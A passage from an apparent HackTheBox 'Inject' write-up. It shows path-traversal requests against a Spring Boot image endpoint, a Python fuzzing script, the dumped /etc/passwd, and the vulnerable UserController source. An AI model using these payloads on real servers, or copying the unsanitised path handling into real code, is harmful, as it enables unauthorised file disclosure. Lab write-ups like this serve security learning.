  <span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'http://inject.htb:8080/show_image?img=test.png'</span><span class="p">)</span>
  <span class="k">print</span><span class="p">(</span><span class="n">r</span><span class="p">.</span><span class="n">text</span><span class="p">)</span>
</code></pre></div>    </div>

    <p>Output:</p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  test
</code></pre></div>    </div>
  </li>
  <li>I edit the path to see if I get any errors: <a href="http://inject.htb:8080/show_image?img=test.png/etc/passwd"><code class="language-html highlighter-rouge">http://inject.htb:8080/show_image?img=test.png/etc/passwd</code></a>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  {"timestamp":"2023-04-02T16:26:58.789+00:00","status":500,"error":"Internal Server Error","message":"URL [file:/var/www/WebApp/src/main/uploads/test.png/etc/passwd] cannot be resolved in the file system for checking its content length","path":"/show_image"}
</code></pre></div>    </div>

    <p>Found the path where the web app is hosted: <code class="language-html highlighter-rouge">/var/www/WebApp/src/main/</code></p>
  </li>
  <li>Maybe there is a LFI: <a href="http://inject.htb:8080/show_image?img=../../../../../../../etc/passwd"><code class="language-html highlighter-rouge">http://inject.htb:8080/show_image?img=../../../../../../../etc/passwd</code></a>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  root:x:0:0:root:/root:/bin/bash
  daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  bin:x:2:2:bin:/bin:/usr/sbin/nologin
  sys:x:3:3:sys:/dev:/usr/sbin/nologin
  sync:x:4:65534:sync:/bin:/bin/sync
  games:x:5:60:games:/usr/games:/usr/sbin/nologin
  man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
  lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
  mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
  news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
  uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
  proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
  www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
  backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
  list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
  irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
  gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
  nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
  systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
  systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
  systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
  messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
  syslog:x:104:110::/home/syslog:/usr/sbin/nologin
  _apt:x:105:65534::/nonexistent:/usr/sbin/nologin
  tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
  uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
  tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
  landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
  pollinate:x:110:1::/var/cache/pollinate:/bin/false
  usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
  systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
  frank:x:1000:1000:frank:/home/frank:/bin/bash
  lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
  sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
  phil:x:1001:1001::/home/phil:/bin/bash
  fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
  _laurel:x:997:996::/var/log/laurel:/bin/false
</code></pre></div>    </div>
  </li>
  <li>I’m looking for the source files:
    <div class="language-python highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="kn">import</span> <span class="nn">requests</span>
  <span class="kn">import</span> <span class="nn">json</span>
  <span class="kn">import</span> <span class="nn">sys</span>

  <span class="n">wordlist</span> <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
  <span class="n">lfipath</span> <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span>
  <span class="n">ext</span> <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span>

  <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">wordlist</span><span class="p">,</span> <span class="s">'r'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
      <span class="n">lines</span> <span class="o">=</span> <span class="n">f</span><span class="p">.</span><span class="n">readlines</span><span class="p">()</span>

  <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">lines</span><span class="p">)):</span>
      <span class="n">l</span> <span class="o">=</span> <span class="n">lines</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">strip</span><span class="p">()</span>
      <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">'[</span><span class="si">{</span><span class="n">i</span><span class="si">}</span><span class="s">/</span><span class="si">{</span><span class="nb">len</span><span class="p">(</span><span class="n">lines</span><span class="p">)</span><span class="si">}</span><span class="s">] /show_image?img=</span><span class="si">{</span><span class="n">lfipath</span><span class="si">}{</span><span class="n">l</span><span class="si">}{</span><span class="n">ext</span><span class="si">}</span><span class="s">'</span><span class="p">)</span>
      <span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="sa">f</span><span class="s">'http://inject.htb:8080/show_image?img=</span><span class="si">{</span><span class="n">lfipath</span><span class="si">}{</span><span class="n">l</span><span class="si">}{</span><span class="n">ext</span><span class="si">}</span><span class="s">'</span><span class="p">)</span>
      <span class="k">try</span><span class="p">:</span>
          <span class="n">json</span><span class="p">.</span><span class="n">loads</span><span class="p">(</span><span class="n">r</span><span class="p">.</span><span class="n">text</span><span class="p">)</span>
      <span class="k">except</span> <span class="nb">ValueError</span><span class="p">:</span>
          <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">'founds.txt'</span><span class="p">,</span> <span class="s">'a'</span><span class="p">)</span> <span class="k">as</span> <span class="n">ff</span><span class="p">:</span>
              <span class="n">ff</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="sa">f</span><span class="s">'filepath: </span><span class="si">{</span><span class="n">lfipath</span><span class="si">}{</span><span class="n">l</span><span class="si">}{</span><span class="n">ext</span><span class="si">}</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
              <span class="n">ff</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="sa">f</span><span class="s">'content:</span><span class="se">\n</span><span class="si">{</span><span class="n">r</span><span class="p">.</span><span class="n">text</span><span class="si">}</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
              <span class="n">ff</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="sa">f</span><span class="s">'-'</span><span class="o">*</span><span class="mi">50</span><span class="p">)</span>
              <span class="n">ff</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
</code></pre></div>    </div>

    <p>I use the two wordlists:</p>
    <ul>
      <li><a href="https://github.com/emadshanab/WordLists-20111129/blob/master/Filenames_or_Directories_All.wordlist">https://github.com/emadshanab/WordLists-20111129/blob/master/Filenames_or_Directories_All.wordlist</a></li>
      <li><a href="https://github.com/digination/dirbuster-ng/blob/master/wordlists/common.txt">https://github.com/digination/dirbuster-ng/blob/master/wordlists/common.txt</a></li>
    </ul>
  </li>
</ul>

<p><br /></p>

<ul>
  <li>While searching for the source files, I noticed that the responses from the web server are delayed by a few seconds and above all that the response is none other than an <code class="language-html highlighter-rouge">ls</code> of the selected directory. So for this reason the script can be reduced to a trivial one:
    <div class="language-python highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="kn">import</span> <span class="nn">requests</span>
  <span class="kn">import</span> <span class="nn">sys</span>

  <span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span>
  <span class="k">print</span><span class="p">(</span><span class="n">r</span><span class="p">.</span><span class="n">text</span><span class="p">)</span>
</code></pre></div>    </div>
  </li>
  <li><code class="language-html highlighter-rouge">python3 httpget.py "http://inject.htb:8080/show_image?img=../"</code>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  java
  resources
  uploads
</code></pre></div>    </div>

    <p>So server side java is present, I keep on enumerating</p>
  </li>
  <li><code class="language-html highlighter-rouge">python3 httpget.py "http://inject.htb:8080/show_image?img=../java"</code>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  com
  META-INF
</code></pre></div>    </div>
  </li>
  <li><code class="language-html highlighter-rouge">python3 httpget.py "http://inject.htb:8080/show_image?img=../java/com"</code>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  example
</code></pre></div>    </div>
  </li>
  <li><code class="language-html highlighter-rouge">python3 httpget.py "http://inject.htb:8080/show_image?img=../java/com/example"</code>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  WebApp
</code></pre></div>    </div>
  </li>
  <li><code class="language-html highlighter-rouge">python3 httpget.py "http://inject.htb:8080/show_image?img=../java/com/example/WebApp"</code>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  user
  WebAppApplication.java
</code></pre></div>    </div>

    <p><code class="language-html highlighter-rouge">WebAppApplication.java</code></p>
    <div class="language-java highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="kn">package</span> <span class="nn">com.example.WebApp</span><span class="o">;</span>
  <span class="kn">import</span> <span class="nn">org.springframework.boot.SpringApplication</span><span class="o">;</span>
  <span class="kn">import</span> <span class="nn">org.springframework.boot.autoconfigure.SpringBootApplication</span><span class="o">;</span>


  <span class="nd">@SpringBootApplication</span>
  <span class="kd">public</span> <span class="kd">class</span> <span class="nc">WebAppApplication</span> <span class="o">{</span>

          <span class="kd">public</span> <span class="kd">static</span> <span class="kt">void</span> <span class="nf">main</span><span class="o">(</span><span class="nc">String</span><span class="o">[]</span> <span class="n">args</span><span class="o">)</span> <span class="o">{</span>
                  <span class="nc">SpringApplication</span><span class="o">.</span><span class="na">run</span><span class="o">(</span><span class="nc">WebAppApplication</span><span class="o">.</span><span class="na">class</span><span class="o">,</span> <span class="n">args</span><span class="o">);</span>
          <span class="o">}</span>
  <span class="o">}</span>
</code></pre></div>    </div>

    <p>Nothing interesting.</p>
  </li>
  <li><code class="language-html highlighter-rouge">python3 httpget.py "http://inject.htb:8080/show_image?img=../java/com/example/WebApp/user"</code>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  User.java
  UserController.java
</code></pre></div>    </div>

    <p><code class="language-html highlighter-rouge">User.java</code></p>
    <div class="language-java highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="c1">//package com.example.WebApp.user;</span>
  <span class="c1">//</span>
  <span class="c1">//import org.hibernate.annotations.GeneratorType;</span>
  <span class="c1">//import org.hibernate.annotations.ValueGenerationType;</span>
  <span class="c1">//</span>
  <span class="c1">//import javax.persistence.*;</span>
  <span class="c1">//</span>
  <span class="c1">//@Entity</span>
  <span class="c1">//@Table(name = "zodd_users")</span>
  <span class="c1">//public class User {</span>
  <span class="c1">//    @Id</span>
  <span class="c1">//    @GeneratedValue(strategy = GenerationType.IDENTITY)</span>
  <span class="c1">//    private Long id;</span>
  <span class="c1">//</span>
  <span class="c1">//    @Column(nullable = false, unique = true, length = 45)</span>
  <span class="c1">//    private String email;</span>
  <span class="c1">//</span>
  <span class="c1">//    public String getPassword() {</span>
  <span class="c1">//        return password;</span>
  <span class="c1">//    }</span>
  <span class="c1">//</span>
  <span class="c1">//    public void setPassword(String password) {</span>
  <span class="c1">//        this.password = password;</span>
  <span class="c1">//    }</span>
  <span class="c1">//</span>
  <span class="c1">//    @Column(nullable = false, length = 64)</span>
  <span class="c1">//    private String password;</span>
  <span class="c1">//    private String firstName;</span>
  <span class="c1">//    private String lastName;</span>
  <span class="c1">//</span>
  <span class="c1">//    public Long getId() {</span>
  <span class="c1">//        return id;</span>
  <span class="c1">//    }</span>
  <span class="c1">//</span>
  <span class="c1">//    public void setId(Long id) {</span>
  <span class="c1">//        this.id = id;</span>
  <span class="c1">//    }</span>
  <span class="c1">//</span>
  <span class="c1">//    public String getEmail() {</span>
  <span class="c1">//        return email;</span>
  <span class="c1">//    }</span>
  <span class="c1">//</span>
  <span class="c1">//    public void setEmail(String email) {</span>
  <span class="c1">//        this.email = email;</span>
  <span class="c1">//    }</span>
  <span class="c1">//</span>
  <span class="c1">//    public String getFirstName() {</span>
  <span class="c1">//        return firstName;</span>
  <span class="c1">//    }</span>
  <span class="c1">//</span>
  <span class="c1">//    public void setFirstName(String firstName) {</span>
  <span class="c1">//        this.firstName = firstName;</span>
  <span class="c1">//    }</span>
  <span class="c1">//</span>
  <span class="c1">//    public String getLastName() {</span>
  <span class="c1">//        return lastName;</span>
  <span class="c1">//    }</span>
  <span class="c1">//</span>
  <span class="c1">//    public void setLastName(String lastName) {</span>
  <span class="c1">//        this.lastName = lastName;</span>
  <span class="c1">//    }</span>
  <span class="c1">//}</span>
</code></pre></div>    </div>

    <p><code class="language-html highlighter-rouge">UserController.java</code></p>
    <div class="language-java highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="kn">package</span> <span class="nn">com.example.WebApp.user</span><span class="o">;</span>

  <span class="kn">import</span> <span class="nn">org.springframework.core.io.Resource</span><span class="o">;</span>
  <span class="kn">import</span> <span class="nn">org.springframework.core.io.UrlResource</span><span class="o">;</span>

  <span class="kn">import</span> <span class="nn">org.springframework.http.MediaType</span><span class="o">;</span>
  <span class="kn">import</span> <span class="nn">org.springframework.http.ResponseEntity</span><span class="o">;</span>
  <span class="kn">import</span> <span class="nn">org.springframework.stereotype.Controller</span><span class="o">;</span>


  <span class="kn">import</span> <span class="nn">java.nio.file.Path</span><span class="o">;</span>
  <span class="kn">import</span> <span class="nn">org.springframework.ui.Model</span><span class="o">;</span>

  <span class="kn">import</span> <span class="nn">org.springframework.util.StringUtils</span><span class="o">;</span>
  <span class="kn">import</span> <span class="nn">org.springframework.web.bind.annotation.*</span><span class="o">;</span>
  <span class="kn">import</span> <span class="nn">org.springframework.web.multipart.MultipartFile</span><span class="o">;</span>

  <span class="kn">import</span> <span class="nn">javax.activation.*</span><span class="o">;</span>
  <span class="kn">import</span> <span class="nn">java.io.*</span><span class="o">;</span>
  <span class="kn">import</span> <span class="nn">java.net.MalformedURLException</span><span class="o">;</span>
  <span class="kn">import</span> <span class="nn">java.nio.file.Files</span><span class="o">;</span>

  <span class="kn">import</span> <span class="nn">java.nio.file.Paths</span><span class="o">;</span>
  <span class="kn">import</span> <span class="nn">java.nio.file.StandardCopyOption</span><span class="o">;</span>

  <span class="nd">@Controller</span>
  <span class="kd">public</span> <span class="kd">class</span> <span class="nc">UserController</span> <span class="o">{</span>

      <span class="kd">private</span> <span class="kd">static</span> <span class="nc">String</span> <span class="no">UPLOADED_FOLDER</span> <span class="o">=</span> <span class="s">"/var/www/WebApp/src/main/uploads/"</span><span class="o">;</span>

      <span class="nd">@GetMapping</span><span class="o">(</span><span class="s">""</span><span class="o">)</span>
      <span class="kd">public</span> <span class="nc">String</span> <span class="nf">homePage</span><span class="o">(){</span>
          <span class="k">return</span> <span class="s">"homepage"</span><span class="o">;</span>
      <span class="o">}</span>

      <span class="nd">@GetMapping</span><span class="o">(</span><span class="s">"/register"</span><span class="o">)</span>
      <span class="kd">public</span> <span class="nc">String</span> <span class="nf">signUpFormGET</span><span class="o">(){</span>
          <span class="k">return</span> <span class="s">"under"</span><span class="o">;</span>
      <span class="o">}</span>

      <span class="nd">@RequestMapping</span><span class="o">(</span><span class="n">value</span> <span class="o">=</span> <span class="s">"/upload"</span><span class="o">,</span> <span class="n">method</span> <span class="o">=</span> <span class="nc">RequestMethod</span><span class="o">.</span><span class="na">GET</span><span class="o">)</span>
      <span class="kd">public</span> <span class="nc">String</span> <span class="nf">UploadFormGet</span><span class="o">(){</span>
          <span class="k">return</span> <span class="s">"upload"</span><span class="o">;</span>
      <span class="o">}</span>

      <span class="nd">@RequestMapping</span><span class="o">(</span><span class="n">value</span> <span class="o">=</span> <span class="s">"/show_image"</span><span class="o">,</span> <span class="n">method</span> <span class="o">=</span> <span class="nc">RequestMethod</span><span class="o">.</span><span class="na">GET</span><span class="o">)</span>
      <span class="kd">public</span> <span class="nc">ResponseEntity</span> <span class="nf">getImage</span><span class="o">(</span><span class="nd">@RequestParam</span><span class="o">(</span><span class="s">"img"</span><span class="o">)</span> <span class="nc">String</span> <span class="n">name</span><span class="o">)</span> <span class="o">{</span>
          <span class="nc">String</span> <span class="n">fileName</span> <span class="o">=</span> <span class="no">UPLOADED_FOLDER</span> <span class="o">+</span> <span class="n">name</span><span class="o">;</span>
          <span class="nc">Path</span> <span class="n">path</span> <span class="o">=</span> <span class="nc">Paths</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="n">fileName</span><span class="o">);</span>
          <span class="nc">Resource</span> <span class="n">resource</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span>
          <span class="k">try</span> <span class="o">{</span>
              <span class="n">resource</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">UrlResource</span><span class="o">(</span><span class="n">path</span><span class="o">.</span><span class="na">toUri</span><span class="o">());</span>
          <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">MalformedURLException</span> <span class="n">e</span><span class="o">){</span>
              <span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
          <span class="o">}</span>
          <span class="k">return</span> <span class="nc">ResponseEntity</span><span class="o">.</span><span class="na">ok</span><span class="o">().</span><span class="na">contentType</span><span class="o">(</span><span class="nc">MediaType</span><span class="o">.</span><span class="na">IMAGE_JPEG</span><span class="o">).</span><span class="na">body</span><span class="o">(</span><span class="n">resource</span><span class="o">);</span>
      <span class="o">}</span>

      <span class="nd">@PostMapping</span><span class="o">(</span><span class="s">"/upload"</span><span class="o">)</span>
      <span class="kd">public</span> <span class="nc">String</span> <span class="nf">Upload</span><span class="o">(</span><span class="nd">@RequestParam</span><span class="o">(</span><span class="s">"file"</span><span class="o">)</span> <span class="nc">MultipartFile</span> <span class="n">file</span><span class="o">,</span> <span class="nc">Model</span> <span class="n">model</span><span class="o">){</span>
          <span class="nc">String</span> <span class="n">fileName</span> <span class="o">=</span> <span class="nc">StringUtils</span><span class="o">.</span><span class="na">cleanPath</span><span class="o">(</span><span class="n">file</span><span class="o">.</span><span class="na">getOriginalFilename</span><span class="o">());</span>
          <span class="k">if</span> <span class="o">(!</span><span class="n">file</span><span class="o">.</span><span class="na">isEmpty</span><span class="o">()</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="n">fileName</span><span class="o">.</span><span class="na">contains</span><span class="o">(</span><span class="s">"/"</span><span class="o">)){</span>
              <span class="nc">String</span> <span class="n">mimetype</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">MimetypesFileTypeMap</span><span class="o">().</span><span class="na">getContentType</span><span class="o">(</span><span class="n">fileName</span><span class="o">);</span>
              <span class="nc">String</span> <span class="n">type</span> <span class="o">=</span> <span class="n">mimetype</span><span class="o">.</span><span class="na">split</span><span class="o">(</span><span class="s">"/"</span><span class="o">)[</span><span class="mi">0</span><span class="o">];</span>
              <span class="k">if</span> <span class="o">(</span><span class="n">type</span><span class="o">.</span><span class="na">equals</span><span class="o">(</span><span class="s">"image"</span><span class="o">)){</span>

                  <span class="k">try</span> <span class="o">{</span>
                      <span class="nc">Path</span> <span class="n">path</span> <span class="o">=</span> <span class="nc">Paths</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="no">UPLOADED_FOLDER</span><span class="o">+</span><span class="n">fileName</span><span class="o">);</span>
                      <span class="nc">Files</span><span class="o">.</span><span class="na">copy</span><span class="o">(</span><span class="n">file</span><span class="o">.</span><span class="na">getInputStream</span><span class="o">(),</span><span class="n">path</span><span class="o">,</span> <span class="nc">StandardCopyOption</span><span class="o">.</span><span class="na">REPLACE_EXISTING</span><span class="o">);</span>
                  <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">IOException</span> <span class="n">e</span><span class="o">){</span>
                      <span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
                  <span class="o">}</span>
                  <span class="n">model</span><span class="o">.</span><span class="na">addAttribute</span><span class="o">(</span><span class="s">"name"</span><span class="o">,</span> <span class="n">fileName</span><span class="o">);</span>
                  <span class="n">model</span><span class="o">.</span><span class="na">addAttribute</span><span class="o">(</span><span class="s">"message"</span><span class="o">,</span> <span class="s">"Uploaded!"</span><span class="o">);</span>
              <span class="o">}</span> <span class="k">else</span> <span class="o">{</span>
                  <span class="n">model</span><span class="o">.</span><span class="na">addAttribute</span><span class="o">(</span><span class="s">"message"</span><span class="o">,</span> <span class="s">"Only image files are accepted!"</span><span class="o">);</span>
              <span class="o">}</span>
                
          <span class="o">}</span> <span class="k">else</span> <span class="o">{</span>
              <span class="n">model</span><span class="o">.</span><span class="na">addAttribute</span><span class="o">(</span><span class="s">"message"</span><span class="o">,</span> <span class="s">"Please Upload a file!"</span><span class="o">);</span>
          <span class="o">}</span>
          <span class="k">return</span> <span class="s">"upload"</span><span class="o">;</span>
      <span class="o">}</span>

      <span class="nd">@GetMapping</span><span class="o">(</span><span class="s">"/release_notes"</span><span class="o">)</span>
      <span class="kd">public</span> <span class="nc">String</span> <span class="nf">changelog</span><span class="o">(){</span>
          <span class="k">return</span> <span class="s">"change"</span><span class="o">;</span>
      <span class="o">}</span>

      <span class="nd">@GetMapping</span><span class="o">(</span><span class="s">"/blogs"</span><span class="o">)</span>
      <span class="kd">public</span> <span class="nc">String</span> <span class="nf">blogPage</span><span class="o">(){</span>
          <span class="k">return</span> <span class="s">"blog"</span><span class="o">;</span>
      <span class="o">}</span>
        
  <span class="o">}</span>
</code></pre></div>    </div>

    <p><strong>springframework</strong> is used and in the db maybe there could be a table named <code class="language-html highlighter-rouge">zodd_users</code></p>
  </li>
</ul>

<p><br /><br /></p>

<ul>
  <li><code class="language-html highlighter-rouge">python3 httpget.py "http://inject.htb:8080/show_image?img=../resources"</code>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  application.properties
  media
  META-INF
  static
  templates
</code></pre></div>    </div>

    <p><code class="language-html highlighter-rouge">application.properties</code></p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  server.tomcat.relaxed-query-chars=|,{,},[,]
  server.error.whitelabel.enabled=false
  spring.main.allow-circular-references=true
  spring.servlet.multipart.max-file-size=1MB
  spring.servlet.multipart.max-request-size=2MB
  spring.cloud.config.uri=
  spring.cloud.config.allow-override=true
  debug=false
  server.error.include-message=always
</code></pre></div>    </div>

    <p>Ok, tomcat is used as web server.</p>
  </li>
</ul>

<p><br /><br /></p>

<ul>
  <li><code class="language-html highlighter-rouge">python3 httpget.py "http://inject.htb:8080/show_image?img=../uploads"</code>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  test.png
</code></pre></div>    </div>
  </li>
</ul>

<p><br /><br /></p>

<ul>
  <li>I go up again to see other files: <code class="language-html highlighter-rouge">python3 httpget.py "http://inject.htb:8080/show_image?img=../../"</code>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  main
  test
</code></pre></div>    </div>
  </li>
  <li><code class="language-html highlighter-rouge">python3 httpget.py "http://inject.htb:8080/show_image?img=../../../"</code>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  .classpath
  .DS_Store
  .idea
  .project
  .settings
  HELP.md
  mvnw
  mvnw.cmd
  pom.xml
  src
  target
</code></pre></div>    </div>

    <p><code class="language-html highlighter-rouge">pom.xml</code></p>
    <div class="language-xml highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="cp">&lt;?xml version="1.0" encoding="UTF-8"?&gt;</span>
  <span class="nt">&lt;project</span> <span class="na">xmlns=</span><span class="s">"http://maven.apache.org/POM/4.0.0"</span> <span class="na">xmlns:xsi=</span><span class="s">"http://www.w3.org/2001/XMLSchema-instance"</span>
          <span class="na">xsi:schemaLocation=</span><span class="s">"http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd"</span><span class="nt">&gt;</span>
          <span class="nt">&lt;modelVersion&gt;</span>4.0.0<span class="nt">&lt;/modelVersion&gt;</span>
          <span class="nt">&lt;parent&gt;</span>
                  <span class="nt">&lt;groupId&gt;</span>org.springframework.boot<span class="nt">&lt;/groupId&gt;</span>
                  <span class="nt">&lt;artifactId&gt;</span>spring-boot-starter-parent<span class="nt">&lt;/artifactId&gt;</span>
                  <span class="nt">&lt;version&gt;</span>2.6.5<span class="nt">&lt;/version&gt;</span>
                  <span class="nt">&lt;relativePath/&gt;</span> <span class="c">&lt;!-- lookup parent from repository --&gt;</span>
          <span class="nt">&lt;/parent&gt;</span>
          <span class="nt">&lt;groupId&gt;</span>com.example<span class="nt">&lt;/groupId&gt;</span>
          <span class="nt">&lt;artifactId&gt;</span>WebApp<span class="nt">&lt;/artifactId&gt;</span>
          <span class="nt">&lt;version&gt;</span>0.0.1-SNAPSHOT<span class="nt">&lt;/version&gt;</span>
          <span class="nt">&lt;name&gt;</span>WebApp<span class="nt">&lt;/name&gt;</span>
          <span class="nt">&lt;description&gt;</span>Demo project for Spring Boot<span class="nt">&lt;/description&gt;</span>
          <span class="nt">&lt;properties&gt;</span>
                  <span class="nt">&lt;java.version&gt;</span>11<span class="nt">&lt;/java.version&gt;</span>
          <span class="nt">&lt;/properties&gt;</span>
          <span class="nt">&lt;dependencies&gt;</span>
                  <span class="nt">&lt;dependency&gt;</span>
                          <span class="nt">&lt;groupId&gt;</span>com.sun.activation<span class="nt">&lt;/groupId&gt;</span>
                          <span class="nt">&lt;artifactId&gt;</span>javax.activation<span class="nt">&lt;/artifactId&gt;</span>
                          <span class="nt">&lt;version&gt;</span>1.2.0<span class="nt">&lt;/version&gt;</span>
                  <span class="nt">&lt;/dependency&gt;</span>

                  <span class="nt">&lt;dependency&gt;</span>
                          <span class="nt">&lt;groupId&gt;</span>org.springframework.boot<span class="nt">&lt;/groupId&gt;</span>
                          <span class="nt">&lt;artifactId&gt;</span>spring-boot-starter-thymeleaf<span class="nt">&lt;/artifactId&gt;</span>
                  <span class="nt">&lt;/dependency&gt;</span>
                  <span class="nt">&lt;dependency&gt;</span>
                          <span class="nt">&lt;groupId&gt;</span>org.springframework.boot<span class="nt">&lt;/groupId&gt;</span>
                          <span class="nt">&lt;artifactId&gt;</span>spring-boot-starter-web<span class="nt">&lt;/artifactId&gt;</span>
                  <span class="nt">&lt;/dependency&gt;</span>

                  <span class="nt">&lt;dependency&gt;</span>
                          <span class="nt">&lt;groupId&gt;</span>org.springframework.boot<span class="nt">&lt;/groupId&gt;</span>
                          <span class="nt">&lt;artifactId&gt;</span>spring-boot-devtools<span class="nt">&lt;/artifactId&gt;</span>
                          <span class="nt">&lt;scope&gt;</span>runtime<span class="nt">&lt;/scope&gt;</span>
                          <span class="nt">&lt;optional&gt;</span>true<span class="nt">&lt;/optional&gt;</span>
                  <span class="nt">&lt;/dependency&gt;</span>

                  <span class="nt">&lt;dependency&gt;</span>
                          <span class="nt">&lt;groupId&gt;</span>org.springframework.cloud<span class="nt">&lt;/groupId&gt;</span>
                          <span class="nt">&lt;artifactId&gt;</span>spring-cloud-function-web<span class="nt">&lt;/artifactId&gt;</span>
                          <span class="nt">&lt;version&gt;</span>3.2.2<span class="nt">&lt;/version&gt;</span>
                  <span class="nt">&lt;/dependency&gt;</span>
                  <span class="nt">&lt;dependency&gt;</span>
                          <span class="nt">&lt;groupId&gt;</span>org.springframework.boot<span class="nt">&lt;/groupId&gt;</span>
                          <span class="nt">&lt;artifactId&gt;</span>spring-boot-starter-test<span class="nt">&lt;/artifactId&gt;</span>
                          <span class="nt">&lt;scope&gt;</span>test<span class="nt">&lt;/scope&gt;</span>
                  <span class="nt">&lt;/dependency&gt;</span>
                  <span class="nt">&lt;dependency&gt;</span>
                          <span class="nt">&lt;groupId&gt;</span>org.webjars<span class="nt">&lt;/groupId&gt;</span>
                          <span class="nt">&lt;artifactId&gt;</span>bootstrap<span class="nt">&lt;/artifactId&gt;</span>
                          <span class="nt">&lt;version&gt;</span>5.1.3<span class="nt">&lt;/version&gt;</span>
                  <span class="nt">&lt;/dependency&gt;</span>
                  <span class="nt">&lt;dependency&gt;</span>
                          <span class="nt">&lt;groupId&gt;</span>org.webjars<span class="nt">&lt;/groupId&gt;</span>
                          <span class="nt">&lt;artifactId&gt;</span>webjars-locator-core<span class="nt">&lt;/artifactId&gt;</span>
                  <span class="nt">&lt;/dependency&gt;</span>

          <span class="nt">&lt;/dependencies&gt;</span>
          <span class="nt">&lt;build&gt;</span>
                  <span class="nt">&lt;plugins&gt;</span>
                          <span class="nt">&lt;plugin&gt;</span>
